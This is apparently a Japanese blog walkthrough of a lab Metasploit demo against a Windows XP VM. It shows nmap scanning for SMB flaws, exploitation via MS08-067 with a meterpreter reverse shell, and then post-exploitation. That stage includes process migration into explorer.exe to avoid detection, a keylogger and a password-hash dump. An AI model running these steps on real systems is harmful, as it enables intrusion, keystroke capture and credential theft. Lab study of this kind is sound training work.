Metasploitのよくあるデモ

環境

victim

  • Micosoft Windows XP
  • Home Edition
  • Version 2002
  • Service Pack 2
  • 32bit CPU

調査

開いているポートの確認

❯❯❯ nmap -Pn 192.168.1.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 09:42 JST
Nmap scan report for 192.168.1.46
Host is up (0.00016s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2869/tcp open  icslap

445に対してcveの確認

以下の結果より、

  • ms1710-010 (CVE-2017-0143)の脆弱性
  • ms08-067 (DVE-2008-4250)の脆弱性
    があることが解る。
❯❯❯ sudo nmap -Pn --script "smb-vuln-*" -p445 192.168.1.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 09:38 JST
Nmap scan report for 192.168.1.46
Host is up (0.00023s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:2E:C8:F7 (VMware)

Host script results:
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|           
(省略)
|           
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           
(省略)
|           
|_smb-vuln-ms10-054: false

リバースシェルの実行

上記の是弱性を利用してリバースシェルを取得する。

$ msfconsole

msf6 > search -S ms08-067

Matching Modules
================

   #     Name                                 Disclosure Date  Rank   Check  Description
   -     ----                                 ---------------  ----   -----  -----------
   4047  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

(省略)


msf6 > use 4047
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  
   ----     ---------------  -------- 
   RHOSTS                    yes      
   RPORT    445              yes      
   SMBPIPE  BROWSER          yes      


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required
   ----      ---------------  --------
   EXITFUNC  thread           yes     
   LHOST     192.168.1.31     yes     
   LPORT     4444             yes     

(省略)

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.1.46
RHOST => 192.168.1.46
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required
   ----     ---------------  --------
   RHOSTS   192.168.1.46     yes     
   RPORT    445              yes     
   SMBPIPE  BROWSER          yes     


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required 
   ----      ---------------  -------- 
   EXITFUNC  thread           yes      
   LHOST     192.168.1.31     yes      
   LPORT     4444             yes      

(省略)


msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.1.31:4444 
[*] 192.168.1.46:445 - Automatically detecting the target...
[*] 192.168.1.46:445 - Fingerprint: Windows XP - Service Pack 2 - lang:Japanese
[*] 192.168.1.46:445 - Selected Target: Windows XP SP2 Japanese (NX)
[*] 192.168.1.46:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176198 bytes) to 192.168.1.46
[*] Meterpreter session 1 opened (192.168.1.31:4444 -> 192.168.1.46:1065) at 2024-06-02 09:52:08 +0900

meterpreter >

meterpreter >というプロンプトが出れば、victimとリバースシェルが成功している。

リバースシェル確立後、いろいろやってみる

自分の権限を調べる

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

デスクトップのスクリーンショット

画像ファイルは、攻撃者側端末の$HOMEに保存される。

meterpreter > shreenshot

キーロガー

キーロガーを実行するには以下の理由で、現在のmeterpreterセッションををexplorer.exeのプロセス空間に移行させた方がいい。

  1. 安定性。システムが動いている限り、explorer.exeは存在する。
  2. バレにくい。単独のプロセスで実行しているよりも、explorer.exeの下に移動させた方が自然。
  3. 権限。explorer.exeはログインしているユーザーのコンテキストを使用しているため、それと同等のコンテキストや権限にアクセスが可能。

現在のPIDとプロセス名を調べる。

meterpreter > pid
Current pid: 948

meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session  User                
 ---   ----  ----              ----  -------  ----                
 0     0     [System Process]
 4     0     System            x86   0        NT AUTHORITY\SYSTEM

(省略)

 948   616   svchost.exe       x86   0        NT AUTHORITY\SYSTEM  

(省略)

現在のリバースシェルのPIDは948で、svchost.exeで実行されていることがわかる。

次に、explorer.exeを探す

meterpreter > ps

Process List
============

 PID   PPID  Name              Arch  Session  User                
 ---   ----  ----              ----  -------  ----               
 0     0     [System Process]
 4     0     System            x86   0        NT AUTHORITY\SYSTEM

 (省略)

 1532  1512  explorer.exe      x86   0        WINDOWSXP\xxxxx   

 (省略)

移行する。

meterpreter > migrate 1532
[*] Migrating from 948 to 1532...
[*] Migration completed successfully.

キーロガーの実行。どこにキャプチャファイルが保存されるか表示されているので、後でこれを見ればOK。修了させるには、Ctrl+Cを押す。

meterpreter > run post/windows/capture/keylog_recorder 

[*] Executing module against WINDOWSXP
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /home/xxxx/.msf4/loot/20240602102828_default_192.168.1.46_host.windows.key_775961.txt
[*] Recording keystrokes...

(録画中)

^C[*] User interrupt.
[*] Shutting down keylog recorder. Please wait...

ユーザー名とパスワードのダンプ

ここでもプロセス空間への移動が必要なる。実行中のプロセスに正当な権限がないと以下のようなエラーが出る。

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 67aa5a2c2f3e4c75a00b51a218db8c95...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError stdapi_registry_open_key: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)

services.exeのPIDを調べてプロセス空間に移行。

meterpreter > migrate 616

ユーザーとパスワードハッシュのダンプ。Administratorと、一般ユーザーのxxxxxが同じパスワードなのが分かる。このあとは取得したハッシュ値に対してレインボーテーブルを行う流れ。

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 67aa5a2c2f3e4c75a00b51a218db8c95...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeacd3b435b51404ce:31d6cfe0d16ae931b73c59d7e0c079c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:62aadb98a487262e0455c99ef4866127:d5b09703fcb9d9f50669b8dce7501e52:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:0a8e9f1b0abdf1176e200c1353649ef6:::
xxxxx:1005:aad3b435b51404eeacd3b435b51404ce:31d6cfe0d16ae931b73c59d7e0c079c0:::

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です